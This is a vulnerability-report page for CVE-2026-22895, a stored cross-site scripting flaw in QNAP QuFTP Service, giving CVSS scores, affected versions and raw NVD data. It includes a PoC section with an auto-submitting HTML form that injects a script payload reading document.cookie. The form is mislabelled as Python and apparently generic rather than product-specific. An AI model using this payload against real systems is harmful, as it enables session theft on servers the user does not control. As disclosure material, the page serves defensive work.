Security Vulnerability Report
中文
CVE-2026-22895 CVSS 4.8 MEDIUM

CVE-2026-22895

Published: 2026-03-20 17:16:44
Last Modified: 2026-04-10 20:51:58

Description

A cross-site scripting (XSS) vulnerability has been reported to affect QuFTP Service. If a remote attacker gains an administrator account, they can then exploit the vulnerability to bypass security mechanisms or read application data. We have already fixed the vulnerability in the following versions: QuFTP Service 1.4.3 and later QuFTP Service 1.5.2 and later QuFTP Service 1.6.2 and later

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:qnap:quftp:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:qnap:quftp:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:qnap:quftp:*:*:*:*:*:*:*:* - VULNERABLE
QuFTP Service < 1.4.3
QuFTP Service < 1.5.2
QuFTP Service < 1.6.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-22895 QuFTP Service Stored XSS Description: Inject a JavaScript payload into a vulnerable field (e.g., FTP username or comment). --> <html> <body> <form action="http://target-ip:port/cgi-bin/ftp/endpoint" method="POST"> <input type="text" name="username" value="admin"><!-- Normal input --> <!-- Malicious payload stored in the 'description' or 'comment' field --> <input type="text" name="comment" value="\"><script>alert(document.cookie)</script>"> <input type="submit" value="Submit"> </form> <script> // This script simulates the attacker submitting the form automatically document.forms[0].submit(); </script> </body> </html> /* Explanation: 1. The payload `"><script>alert(document.cookie)</script>` breaks out of the input context. 2. When an administrator views the FTP user list, the script executes. 3. This confirms the vulnerability exists. */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22895", "sourceIdentifier": "[email protected]", "published": "2026-03-20T17:16:43.980", "lastModified": "2026-04-10T20:51:58.103", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site scripting (XSS) vulnerability has been reported to affect QuFTP Service. If a remote attacker gains an administrator account, they can then exploit the vulnerability to bypass security mechanisms or read application data.\n\nWe have already fixed the vulnerability in the following versions:\nQuFTP Service 1.4.3 and later\nQuFTP Service 1.5.2 and later\nQuFTP Service 1.6.2 and later"}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) ha sido reportada que afecta a QuFTP Service. Si un atacante remoto obtiene una cuenta de administrador, puede entonces explotar la vulnerabilidad para eludir mecanismos de seguridad o leer datos de la aplicación.\n\nYa hemos corregido la vulnerabilidad en las siguientes versiones:\nQuFTP Service 1.4.3 y posteriores\nQuFTP Service 1.5.2 y posteriores\nQuFTP Service 1.6.2 y posteriores"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.2, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:quftp:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.3", "matchCriteriaId": "8AF46F9E-A99D-4560-94A4-3F39EEC8A58E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:qnap:quftp:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.5.0", "versionEndExcluding": "1.5.2", "matchCriteriaId": "520716D2-C2AB-46A8-B05B-79067068739C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:qnap:quftp:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndExcluding": "1.6.2", "matchCriteriaId": "1A623683-1FE1-4E64-BFD2-081AF6954E30"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-26-15", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}